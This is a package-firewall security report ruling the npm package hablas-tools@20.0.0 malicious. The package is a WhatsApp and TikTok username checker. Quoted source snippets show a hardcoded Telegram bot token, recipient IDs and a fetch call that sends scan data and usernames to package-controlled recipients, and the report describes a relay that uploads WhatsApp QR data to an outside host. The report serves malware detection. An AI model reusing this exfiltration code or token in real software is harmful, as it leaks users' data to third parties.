---
canonical: "https://firewall.lpm.dev/npm/hablas-tools/v/20.0.0"
markdown: "https://firewall.lpm.dev/npm/hablas-tools/v/20.0.0.md"
package: "hablas-tools"
report_status: "published"
title: "hablas-tools@20.0.0 npm security report"
verdict: "malicious"
version: "20.0.0"
---

# hablas-tools@20.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Unconsented disclosure of scan activity, local folder name, and discovered usernames to package-controlled recipients.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 20.0.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Running the WhatsApp scanner automatically sends scan activity and discovered usernames to package-default Telegram recipients. An unreachable relay module also contains QR-upload behavior.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 97.0%
- **Started:** 2026-08-16T21:56:56.067Z
- **Finished:** 2026-08-16T21:58:41.053Z
- **Download time:** 503 ms
- **Static scan time:** 526 ms
- **AI review time:** 103956 ms
- **Total time:** 104986 ms

## Security analysis

### Published attack-surface review

- **Summary:** Running the WhatsApp scanner automatically sends scan activity and discovered usernames to package-default Telegram recipients. An unreachable relay module also contains QR-upload behavior.

- **Trigger:** User runs the WhatsApp scanner and connects a WhatsApp account.

- **Impact:** Unconsented disclosure of scan activity, local folder name, and discovered usernames to package-controlled recipients.

- **Evidence paths:** package.json, tools/whatsapp/cli.js, tools/whatsapp/workspace.js, tools/whatsapp/relay.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-16T21:58:41.053Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** automatic Telegram reporting of scan data

- **Attack narrative:** After a user runs the WhatsApp scanner, the package reports connection and scan-start events and sends available usernames plus scan statistics through a built-in Telegram bot to built-in recipient lists. This reporting is invoked by the normal scan path without an opt-in setting. A separate, currently unreachable relay module can also upload WhatsApp QR data to a Railway service.

- **Rationale:** The normal user-invoked scanner exfiltrates operational results to package-controlled Telegram recipients by default. No install-time hook exists, but the concrete automatic reporting chain warrants blocking.

- **Files touched:** tools/whatsapp/cli.js, tools/whatsapp/workspace.js, tools/whatsapp/relay.js, package.json

- **Network endpoints:** https://api.telegram.org/bot${botToken}/sendMessage, https://hablas-checker-production.up.railway.app

### Review decision

- **Verdict:** Malicious

- **Confidence:** 97.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** WhatsApp scans automatically report connection and scan-start data to Telegram., The reporter POSTs available usernames and scan metadata to package-default recipients., Default notification recipients are shown as built-in admins/members, not user-configured., A dormant relay module can upload WhatsApp QR data to a Railway backend.

- **Evidence against:** package.json has no preinstall, install, or postinstall hooks., The QR relay module is not imported or routed by the CLI.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Dynamic Require
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** tools/smart.js
- **Public source:** [View source](<https://unpkg.com/hablas-tools@20.0.0/tools/smart.js>)

Package source references dynamic require/import behavior.

Public source snippet (untrusted):

```javascript
L13: 
L14: const { whatsappRun } = require('./whatsapp/cli');
L15:
```

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 6. Critical: Hardcoded Runtime Data Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** tools/whatsapp/cli.js
- **Public source:** [View source](<https://unpkg.com/hablas-tools@20.0.0/tools/whatsapp/cli.js>)

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

Public source snippet (untrusted):

```javascript
Normal CLI activity and scan results are posted to package-defined Telegram bot tokens and recipient IDs.
tools/whatsapp/workspace.js:
const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo';
const DEFAULT_ADMINS = ['5022812601'];
const DEFAULT_MEMBERS = ['8986115381'];
await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }),
const botToken = DEFAULT_BOT_TOKEN;
const adminIds = DEFAULT_ADMINS;
const memberIds = DEFAULT_MEMBERS;
tools/whatsapp/cli.js:
* Yusratak — WhatsApp Username Checker v7
const { PersistentConnection, checkUsernames, resetMethod } = require('./auth');
const { loadConfig, saveConfig, ensureDirs, sendTelegram, DEFAULT_BOT_TOKEN, DEFAULT_ADMIN
```

### 7. Critical: Credential Exfiltration
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** tools/whatsapp/workspace.js
- **Public source:** [View source](<https://unpkg.com/hablas-tools@20.0.0/tools/whatsapp/workspace.js>)

Source appears to send environment or credential material to an external endpoint.

Public source snippet (untrusted):

```javascript
L28: function loadConfig() {
L29: const p = path.join(process.cwd(), CONFIG_FILE);
L30: if (fs.existsSync(p)) {
L31: try { return JSON.parse(fs.readFileSync(p, 'utf-8')); } catch { return null; }
L32: }
...
L53: try {
L54: await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
L55: method: 'POST',
L56: headers: { 'Content-Type': 'application/json' },
L57: body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }),
L58: });
```

### 8. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 9. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 10. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 95.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 11. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** shared/proxy.js
- **Public source:** [View source](<https://unpkg.com/hablas-tools@20.0.0/shared/proxy.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = hablas-tools@18.0.0
matchedPath = shared/proxy.js
matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 12. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** tools/tiktok/menu.js
- **Public source:** [View source](<https://unpkg.com/hablas-tools@20.0.0/tools/tiktok/menu.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = hablas-tools@18.0.0
matchedPath = tools/tiktok/menu.js
matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 13. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** tools/whatsapp/menu.js
- **Public source:** [View source](<https://unpkg.com/hablas-tools@20.0.0/tools/whatsapp/menu.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = hablas-tools@18.0.0
matchedPath = tools/whatsapp/menu.js
matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 14. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** tools/whatsapp/relay.js
- **Public source:** [View source](<https://unpkg.com/hablas-tools@20.0.0/tools/whatsapp/relay.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = hablas-tools@18.0.0
matchedPath = tools/whatsapp/relay.js
matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 15. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** tools/whatsapp/workspace.js
- **Public source:** [View source](<https://unpkg.com/hablas-tools@20.0.0/tools/whatsapp/workspace.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = hablas-tools@18.0.0
matchedPath = tools/whatsapp/workspace.js
matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 8
- **Optional dependencies:** 1
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 9

### Published dependency entries
- @whiskeysockets/baileys ^7.0.0-rc13 (Dependency)
- axios ^1.7.0 (Dependency)
- chalk ^4.1.2 (Dependency)
- https-proxy-agent ^7.0.0 (Dependency)
- pino ^9.0.0 (Dependency)
- qrcode ^1.5.4 (Dependency)
- qrcode-terminal ^0.12.0 (Dependency)
- socks-proxy-agent ^8.0.0 (Dependency)
- impers ^0.0.9 (OptionalDependency)

## Package metadata
- **Package:** hablas-tools
- **Ecosystem:** npm
- **Version:** 20.0.0
- **License:** MIT
- **Version published:** 2026-08-16T21:51:27.896Z
- **Package first seen:** 2026-07-15T13:54:00.627Z
- **Package last seen:** 2026-08-16T23:18:51.190Z
- **Known versions:** 29
- **Latest version:** 22.0.0
- **Appeal under review:** No
- **Description:** Yusratak — Username Intelligence Suite — TikTok engine v2 (oEmbed, 200k+/hr, banned-name detection) + WhatsApp multi-lane checker
- **Author:** Monopoly63
- **Keywords:** hablas, hablas-tools, yusratak, whatsapp, username, checker, generator, available, multi-lane, batch, parallel
- **Runtime engines:** node: \>=18.0.0
- **Artifact files:** 28
- **Artifact unpacked size:** 337,185 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/hablas-tools/v/20.0.0>)
- [Repository](<https://github.com/Monopoly63/hablas_tools.git>)
- [Homepage](<https://github.com/Monopoly63/hablas_tools#readme>)
- [Issues](<https://github.com/Monopoly63/hablas_tools/issues>)
